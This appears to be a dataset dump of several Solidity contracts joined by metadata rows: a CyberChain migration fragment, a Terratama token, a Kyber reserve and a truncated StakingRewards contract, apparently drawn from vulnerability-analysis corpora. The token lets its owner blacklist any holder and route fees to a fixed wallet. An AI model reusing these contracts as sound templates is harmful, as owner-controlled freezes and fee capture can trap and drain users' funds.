if(!_updates[i]) {
require(users[_users[i]].upline == address(0) && _users[i] != root, "User already exists");
require(users[users_ids[_upline_ids__values[i]]].upline != address(0) || users_ids[_upline_ids__values[i]] == root, "Upline not found");
_addUser(_users[i], users_ids[_upline_ids__values[i]]);
_buyLevel(_users[i], 0, false);
(uint256 id,,, uint256 profit, uint256 lost) = _contract.userInfo(_users[i]);
require(users[_users[i]].id == id, "Bad ID");
users[_users[i]].profit = profit;
users[_users[i]].lost = lost;
}
else {
require(users[_users[i]].upline != address(0), "User not register");
uint8 level = 0;
for(uint8 j = 1; j < MAX_LEVEL; j++) {
if(!users[_users[i]].levels[j].active) {
level = j;
break;
}
}
require(level > 0, "All levels active");
require(_upline_ids__values[i] == this.levelPriceWithComm(level), "Bad value");
_buyLevel(_users[i], level, false);
}
}
migrate_offset += _updates.length;
}
function migrate(CyberChain _contract, uint256 _start, uint256 _limit) external onlyMigrate {
require(_start > 0 && _limit > 0, "Zero limit or start");
for(uint256 i = _start; i <= last_id && i < _start + _limit; i++) {
(,,, uint256 profit, uint256 lost) = _contract.userInfo(users_ids[i]);
users[users_ids[i]].profit = profit;
users[users_ids[i]].lost = lost;
}
}
function migrateClose(CyberChain _contract) external onlyMigrate {
turnover = _contract.turnover();
migrate_owner = address(0);
}
}
| 298,553 | 10,862 |
4a6015517e5f6fa97600be982b93ea6fedac216bcf6a54c4ab12285b5f9d3c99
| 16,247 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/00b683fd5bf61419c4f567f986b32f3605d98dbe.sol
| 3,893 | 13,825 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2 = 6;
address payable private _feeAddrWallet;
string private constant _name = "Terratama";
string private constant _symbol = "TTAMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x468693e3D1AAaE0b65361A172F858065645635C5);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function changeFee(uint256 fee) external onlyOwner(){
if(fee < 10){
_feeAddr2 = fee;
}
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000000 * 10**9;
_maxWalletSize = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function newPair() external onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function blockSnipers(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 344,150 | 10,863 |
700ecbf6cb00dbf66c5616a58323a6c8bbce508a15dd4ff2284d73dbb40d617c
| 15,805 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0x63825c174ab367968ec60f061753d3bbd36a0d8f.sol
| 3,439 | 14,557 |
pragma solidity 0.4.18;
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
interface ConversionRatesInterface {
function recordImbalance(ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock)
public;
function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint);
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberReserveInterface {
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
interface SanityRatesInterface {
function getSanityRate(ERC20 src, ERC20 dest) public view returns(uint);
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract KyberReserve is KyberReserveInterface, Withdrawable, Utils {
address public kyberNetwork;
bool public tradeEnabled;
ConversionRatesInterface public conversionRatesContract;
SanityRatesInterface public sanityRatesContract;
mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool
function KyberReserve(address _kyberNetwork, ConversionRatesInterface _ratesContract, address _admin) public {
require(_admin != address(0));
require(_ratesContract != address(0));
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
conversionRatesContract = _ratesContract;
admin = _admin;
tradeEnabled = true;
}
event DepositToken(ERC20 token, uint amount);
function() public payable {
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
}
event TradeExecute(address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress);
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event WithdrawAddressApproved(ERC20 token, address addr, bool approve);
function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin {
approvedWithdrawAddresses[keccak256(token, addr)] = approve;
WithdrawAddressApproved(token, addr, approve);
setDecimals(token);
}
event WithdrawFunds(ERC20 token, uint amount, address destination);
function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) {
require(approvedWithdrawAddresses[keccak256(token, destination)]);
if (token == ETH_TOKEN_ADDRESS) {
destination.transfer(amount);
} else {
require(token.transfer(destination, amount));
}
WithdrawFunds(token, amount, destination);
return true;
}
event SetContractAddresses(address network, address rate, address sanity);
function setContracts(address _kyberNetwork, ConversionRatesInterface _conversionRates, SanityRatesInterface _sanityRates)
public
onlyAdmin
{
require(_kyberNetwork != address(0));
require(_conversionRates != address(0));
kyberNetwork = _kyberNetwork;
conversionRatesContract = _conversionRates;
sanityRatesContract = _sanityRates;
SetContractAddresses(kyberNetwork, conversionRatesContract, sanityRatesContract);
}
////////////////////////////////////////////////////////////////////////////
/// status functions ///////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
function getBalance(ERC20 token) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return this.balance;
else
return token.balanceOf(this);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function getSrcQty(ERC20 src, ERC20 dest, uint dstQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcSrcQty(dstQty, srcDecimals, dstDecimals, rate);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
ERC20 token;
bool buy;
if (!tradeEnabled) return 0;
if (ETH_TOKEN_ADDRESS == src) {
buy = true;
token = dest;
} else if (ETH_TOKEN_ADDRESS == dest) {
buy = false;
token = src;
} else {
return 0; // pair is not listed
}
uint rate = conversionRatesContract.getRate(token, blockNumber, buy, srcQty);
uint destQty = getDestQty(src, dest, srcQty, rate);
if (getBalance(dest) < destQty) return 0;
if (sanityRatesContract != address(0)) {
uint sanityRate = sanityRatesContract.getSanityRate(src, dest);
if (rate > sanityRate) return 0;
}
return rate;
}
/// @dev do a trade
/// @param srcToken Src token
/// @param srcAmount Amount of src token
/// @param destToken Destination token
/// @param destAddress Destination address to send tokens to
/// @param validate If true, additional validations are applicable
/// @return true iff trade is successful
function doTrade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
internal
returns(bool)
{
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
// sanity check
require(destAmount > 0);
// add to imbalance
ERC20 token;
int buy;
if (srcToken == ETH_TOKEN_ADDRESS) {
buy = int(destAmount);
token = destToken;
} else {
buy = -1 * int(srcAmount);
token = srcToken;
}
conversionRatesContract.recordImbalance(token,
buy,
0,
block.number);
// collect src tokens
if (srcToken != ETH_TOKEN_ADDRESS) {
require(srcToken.transferFrom(msg.sender, this, srcAmount));
}
// send dest tokens
if (destToken == ETH_TOKEN_ADDRESS) {
destAddress.transfer(destAmount);
} else {
require(destToken.transfer(destAddress, destAmount));
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress);
return true;
}
}
| 270,668 | 10,864 |
444dfb110b05c8621c4469c33358cc9890d49c122cb34ce3bbed8a8ed2ffe7fe
| 20,572 |
.sol
|
Solidity
| false |
404430322
|
lidofinance/rewards-managers
|
8f564c96bbca9ef9a06b5624c723429fd3558f58
|
projects/sushi/contracts/StakingRewards.sol
| 3,359 | 13,517 |
// SPDX-License-Identifier: MIT
pragma solidity 0.5.17;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward, address rewardHolder) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration;
